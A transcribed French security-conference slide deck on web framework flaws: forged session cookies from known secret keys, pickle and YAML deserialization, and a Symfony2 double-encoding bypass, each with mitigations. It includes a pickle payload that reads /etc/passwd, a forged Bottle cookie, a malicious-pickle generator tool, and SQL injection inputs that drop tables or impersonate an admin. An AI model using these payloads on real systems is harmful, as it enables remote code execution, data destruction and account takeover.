SCRT - GSDays

Transcription

SCRT - GSDays
Vulnérabilités des frameworks web modernes
1
Nicolas Oberli – Security Engineer
Florent Batard – Security Engineer
Chapitres de la présentation
›
›
›
Vulnérabilités Known Secret
›
Flask
›
Bottle
›
Django
›
Ruby On Rails
Vulnérabilités YAML
›
Ruby On Rails
›
Symfony2
Vulnérabilités routing ›
Symfony2 double encodage
2
Known Secret
Description du known secret
●
●
●
●
Django
Bottle
Flask
Ruby On Rails
3
Known secret | Introduction
La plupart des frameworks permettent de proté­
›
ger les cookies de session contre la modification
›
Permet d'éviter de forger un cookie
›
Se base sur un secret partagé
›
Exemple en Django
settings.py :
# Make this unique, and don't share it with anybody.
SECRET_KEY = 'u+%s^63&)i3z0uu+-%z824xx8*_)935u+_#dcju^j&5!!3xnk@'
4
Known secret | Implémentation
›
Cette valeur doit rester secrète et être unique pour chaque instance
›
Est­ce toujours le cas ?
5
6
Known secret | Fonctionnement
Comment les données sont­elles stockées dans ›
un cookie ?
›
Un exemple avec bottle
bottle.py :
def set_cookie(self, name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
bottle.py :
def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg).digest())
return tob('!') + sig + tob('?') + msg
7
Known secret | Pickle ?
« The pickle module implements a fundamental, ›
but powerful algorithm for serializing and de­se­
rializing a Python object structure. […] »
›
Permet de sérialiser des objets en Python
In [1]: import pickle
In [2]: s="Hello"
In [3]: pickle.dumps(s)
Out[3]: "S'Hello'\np0\n."
8
Known secret | Pickle | Fonctionne­
ment
Les données sérialisées sont traitées par une ›
virtual machine interne à Pickle
>>> pickletools.dis("S'Hello'\np0\n.")
0: S
STRING
'Hello'
9: p
PUT
0
12: .
STOP
La VM se base sur une succession d'opérations ›
sur une pile
›
De nombreux opcodes sont disponibles pour appeler d'autres fonctions de Python
9
Pickle | Exemple d'appel système
>>> print subprocess.check_output(['cat','/etc/passwd'])
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
>>> pickletools.dis("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR.")
0: c
GLOBAL
'subprocess check_output'
25: (
MARK
26: (
MARK
27: S
STRING
'cat'
34: S
STRING
'/etc/passwd'
49: l
LIST
(MARK at 26)
50: t
TUPLE
(MARK at 25)
51: R
REDUCE
52: .
STOP
>>> print pickle.loads("csubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltR.")
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
10
Known secret | Exemple
›
Prenons l'application suivante :
from bottle import route, run, response, request
@route('/')
def main():
value = request.get_cookie('account', secret='SecretK3y')
return value
@route('/login')
def do_login():
response.set_cookie('account','user', secret='SecretK3y')
run(host='0.0.0.0', port=8080, debug=True, reloader=True)
11
Known secret | Exemple | Cookie
›
Bottle créé le cookie comme suit :
def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg).digest())
return tob('!') + sig + tob('?') + msg
›
Le cookie suivant est retourné au browser :
!iOHrcSe+PHzVpBE1P2QgeQ==?gAJVB2FjY291bnRxAVgEAAAAdXNlcnEChnEDLg==
>>> 'gAJVB2FjY291bnRxAVgEAAAAdXNlcnEChnEDLg=='.decode('base64')
'\x80\x02U\x07accountq\x01X\x04\x00\x00\x00userq\x02\x86q\x03.'
>>>pickle.loads('\x80\x02U\x07accountq\x01X\x04\x00\x00\x00userq\x02\x86q\x03.')
('account', u'user')
12
Known secret | Exemple | Modification
›
En modifiant le cookie et en signant à nouveau les données, il est alors possible d'exécuter des commandes sur le serveur :
>>> import hmac, base64
>>> payload = "(S'account'\ncsubprocess\ncheck_output\n((S'cat'\nS'/etc/passwd'\nltRt."
>>> msg = base64.b64encode(payload)
>>> sig = base64.b64encode(hmac.new('$ecretK3y', msg).digest())
>>> print '!'+sig+'?'+msg
!U8ZWFOPdVLnRe4VoSLJ0kw==?KFMnYWNjb3VudCcKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CigoUydjYXQnClMnL2V0Yy9wYXNzd2QnCmx0UnQu
13
Known secret | Exemple | Demo
Épreuve proposée lors d'Insomni'hack 2013
›
›
But : Trouver le flag se trouvant dans /etc/motd
›
Application Bottle vulnérable
›
Une seul équipe a exploité cette vulnérabilité
14
Known secret | Application
Plusieurs frameworks sont vulnérables
›
›
Bottle
›
Flask
›
Django
15
Known secret | Automatisation
Présentation de PPPP
›
›
Python Problematic Pickle Printer
›
Permet de créer des Pickles malicieux
›
Encode directement les Pickles sous forme de cookies pour les principaux frameworks Python
16
Known secret | Automatisation | Exemple
$ python pppp.py -h
usage: pppp.py [-h] [-o {django,werkzeug,bottle,raw}] [-k SECRET_KEY]
-p {connect_back,read_file,command_exec} -a ARGUMENT
[-n VAR_NAME] [-m HASH_TYPE]
Generates harmful pickles for various uses (and fun)
optional arguments:
-h, --help
show this help message and exit
-o {django,werkzeug,bottle,raw}, --output {django,werkzeug,bottle,raw}
Pickle output format
-k SECRET_KEY, --key SECRET_KEY
Application's secret key
-p {connect_back,read_file,command_exec}, --payload
{connect_back,read_file,command_exec}
Payload type
-a ARGUMENT, --argument ARGUMENT
Payload's argument
-n VAR_NAME, --name VAR_NAME
Var name for the pickled payload
-m HASH_TYPE, --mac HASH_TYPE
(Werkzeug only) specify the hash type
17
Known secret | Automatisation | Demo
›
Génération de pickles
›
Exploitation
›
Shell distant
18
Known secret | Documentation
›
Actuellement, seul Django met clairement en garde contre la divulgation de la clé secrète
›
Werkzeug (Flask) l'indique uniquement dans la documentation
›
Bottle indique uniquement que la clé sert à pré­
venir la manipulation des cookies
19
Known secret | Remédiation
Django
›
Se passer de secure_cookies
›
Flask / Werkzeug
›
La classe SecureCookie peut changer de méthode de ›
sérialisation
›
par exemple JSON
import json
from werkzeug.contrib.securecookie import SecureCookie
class JSONSecureCookie(SecureCookie):
serialization_method = json
›
Rien n'est documenté pour Bottle
20
Known Secret | Ruby On Rails
Faille ActiveRecord
›
Le problème vient des dynamic finders
›
›
find_by_col(params[:toto])
›
Toutes les versions de Ruby sont affectées
›
Cela ne remet pas en cause la sanitation des requêtes SQL dans Rails
Pour exploiter cette vulnérabilité on doit :
›
›
Avoir AuthLogic activé pour l'authentification
›
Connaître le secret session token
21
Known Secret | Ruby On Rails
Description de la faille
›
Rails donne accès a des « finder dynamiques » pour ›
chercher dans les tables liées dans ActiveRecord
›
User.find_by_name(params[:id])
ActiveRecord protège ces arguments des SQL injec­
›
tions :
›
User.find_by_name(''scrt' ; DROP TABLE USERS ; – '')
›
# => SELECT * FROM users WHERE name = 'scrt\'; DROP TABLE USERS; ­­' LIMIT 1
22
Known Secret | Ruby On Rails
Description de la faille
›
Cependant ActiveRecord autorise de paramétrer les ›
requêtes du finder dynamique :
›
User.find_by_name("scrt", :select => "id, name")
›
# => SELECT id, name FROM users WHERE name = 'scrt' LIMIT 1
Ces paramètres sont alors injectables :
›
›
User.find_by_name("kotori", :select => "id, name FROM users; DROP TABLE users; –")
›
# => SELECT id, name FROM users; DROP TABLE users; ­­ FROM users WHERE name = 'kotori' LIMIT 1
23
Known Secret | Ruby On Rails
Description de la faille
›
Le second paramètre est rarement utilisé mais la ›
commande suivante est largement utilisé :
›
User.find_by_name(params[:name])
Il faut alors passer par un subterfuge pour créer un ta­
›
bleau à partir des arguments :
›
/vuln­url?name[select]=nimp&name[limit]=23
›
On a alors créer un hash {''select''=>''nimp, ''limit'' => 23}
›
Mais cela ne marche pas car on vient de créer des strings et non pas des symboles au sens Ruby
24
Known Secret | Ruby On Rails
›
Seules les requêtes avec un hash ou bien une string pourront être impactée.
›
Ça tombe bien Authlogic utilise cette méthode pour mettre un token
›
›
User.find_by_persistence_token(the_token)
Il nous reste a forger un token de la forme :
›
{ "session_id" => "1111111", "user_credentials"=>"Admin",
"user_credentials_id"=> SQL INJECTION}
Problème → Le cookie est signé avec un SHA1­HMAC
25
Known Secret | Ruby On Rails
›
Comment trouver le secret_token pour signer notre cookie ?
26
Known Secret | Ruby On Rails
›
Cookie final pour se faire passer pour n'importe quel utilisateur :
{ "session_id" => "41414141", "user_credentials"=>"Admin",
"user_credentials_id"=>{ :select=> " *,\"Admin\" as persistence_token from Users ­­ "
}
}
Et signé avec le secret_token obtenu !
27
Known Secret | Ruby On Rails
Mitigation ›
›
Déployer le patch correctif pour Rails
›
Vérifier que vous passez bien que des strings dans les finder dy­
namiques
›
find_by_name(params[:name].to_s)
›
NE DIFFUSER PAS VOTRE SECRET_TOKEN !
›
Ressources sur les cookies :
›
https://github.com/joernchen/evil_stuff/blob/master/ruby/sign­cookie.rb
›
http://blog.phishme.com/wp­content/uploads/BustRailsCookie.rb
›
Exploits Metasploit :
›
exploit/multi/http/rails_json_yaml_code_exec
›
exploit/multi/http/rails_xml_yaml_code_exec
28
Faille YAML
Description de la faille YAML
●
●
Ruby On Rails
Symfony2
29
Faille YAML | Ruby On Rails
Ruby On Rails est capable de parser des argu­
›
ments dans différents formats.
›
On pourrait par exemple mettre :
›
POST / Content­Type : application/xml
<?xml version="1.0" encoding="UTF-8"?>
<hash>
<foo type="integer">1</foo>
<bar type="float">1.3</bar>
</hash>
30
Faille YAML | Ruby On Rails
La prise en charge de ces paramètres est gérée ›
par : ActiveSupport::XmlMini::PARSING
›
Malheureusement il ne gère pas que des types simples mais aussi des type très importants dans ruby :
›
Type : symbol (constantes internes le plus souvent)
›
Type : yaml (langage utilisé pour les configurations)
- !ruby/object:Person
name: John Doe
sname: jdoe
email: [email protected]
- !ruby/object:Person
name: Jane Doe
sname: jdoe
email: [email protected]
31
Faille YAML | Ruby On Rails
Comment exploiter ces possibilités ?
›
›
Nous pouvons invoquer n'importe quelle classe interne
›
Nous pouvons instancier des objets
›
Il ne nous reste plus qu'à injecter la payload
›
Façon Metasploit :
Autre façon :
--- !
arel = Arel::Nodes::SqlLiteral.new("foo")
ruby/hash:ActionDispatch::Routing::RouteSet::Na Blog.find_by_id(arel)
medRouteCollection
!ruby/object:OpenStruct
32
Faille YAML | Ruby On Rails
›
La même faille s'applique au parser JSON
›
Mitigation
›
Le patch est disponible pour Rails ›
Modifier ActionDispatch::ParameterParser::DEFAULT_PARSERS pour désactiver si non nécessaire
33
Faille YAML | Symfony2
Le parser YAML embarqué a Symfony2 est évalué ›
comme du PHP avant d'être parsé en YAML
›
Le parser YAML peut parser et dumper des objets ›
PHP avec la notation :
›
!!php/object: Ces failles ne sont exploitables qu'avec la méthode :
›
›
Yaml::parse($filename);
34
Faille Double Encoding
Description de la faille Double Encoding
●
Symfony2
35
Faille Double Encoding | Symfony2
36
Faille Double Encoding | Symfony2
Pour récupérer le path les composants utilisent ›
getPathInfo()
›
Composant Routing décode deux fois le path
›
Composant Security décode UNE seule fois le path
Firewall Symfony : security.yml
secured_area:
pattern:
^/foo/
form_login:
check_path: /foo/login_check
login_path: /foo/login
Définition des controllers
/**
* @Route("/foo")
*/
37
Faille Double Encoding | Symfony2
›
Démo Time
›
Encodage simple : /%66oo
›
Encodage double : /%2566oo correspond à une route mais pas aux règles firewall
38
Faille Double Encoding | Symfony2
›
Mitigation
›
Mise à jour de Symfony
›
Retoucher a la main la gestion d'encodage des routes
39
Conclusion
›
Les frameworks web ne sont pas la panacée
›
Une connaissance interne ou suivi de la sécurité est nécessaire
›
Vérifier les vulnérabilités régulièrement et mettre à jour si besoin
40
Merci !
›
Merci pour votre attention !
›
[email protected][email protected]
41